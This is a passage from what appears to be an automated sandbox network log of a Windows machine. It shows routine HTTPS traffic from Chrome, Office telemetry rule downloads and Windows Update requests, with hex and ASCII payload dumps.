29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 Data Ascii: 21a\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.de\u003dfunction(a,b){return _.Qd(_.Jc(a,b))};_.S\u003dfunction(a,b){return _.Pd(_.Jc(a,b))};_.T\u003dfunct
2024-11-20 17:57:26 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6c 65 2c 70 65 2c 68 65 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 68 65 28 5f 2e 69 65 28 61 29 29 3a 66 65 7c 7c 28 66 65 5c 75 30 30 33 64 6e 65 77 20 68 65 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d Data Ascii: 8000[\\w+.-]+:\|[^:/?#]*(?:[/?#]\|$))/i;var le,pe,he;_.je\u003dfunction(a){return a?new he(_.ie(a)):fe\|\|(fe\u003dnew he)};_.ke\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|docum

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49738	142.250.181.68	443	7952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:25 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 17:57:26 UTC	933	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 17:57:26 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 17:57:26 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-20 17:57:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:27 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175727Z-1777c6cb754mrj2shC1TEB6k7w00000009yg00000000vd7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:27 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175727Z-185f5d8b95c96jn4hC1NYCbgp80000000ang000000006qbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:27 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175727Z-1777c6cb7544n7p6hC1TEByvb400000009z000000000v8uy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:27 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:27 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175727Z-r1d97b99577tssmjhC1TEB8kan000000096g00000000155h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:28 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:27 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175728Z-185f5d8b95cqnkdjhC1NYCm8w80000000abg00000000xgty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49747	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:28 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mVspmPnUz+xGfLt&MD=m7VUbVNA HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 17:57:28 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: cd8a3214-8586-49de-bfdb-97eec6319aef MS-RequestId: 1492355a-09fe-4f48-842c-1f899891c46b MS-CV: 50tnNdK5dUyr2ZF4.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 17:57:27 GMT Connection: close Content-Length: 24490
2024-11-20 17:57:28 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 17:57:28 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:29 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175730Z-1777c6cb754j8gqphC1TEB5bf800000009sg00000000utx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:29 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:30 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175730Z-1777c6cb7542p5p4hC1TEBq09800000009ug00000000u43v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:30 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49761	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:30 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 17:57:30 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=254836 Date: Wed, 20 Nov 2024 17:57:30 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:30 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175730Z-r1d97b99577hsvhhhC1TEByb1w00000003dg00000000kbx9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:30 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
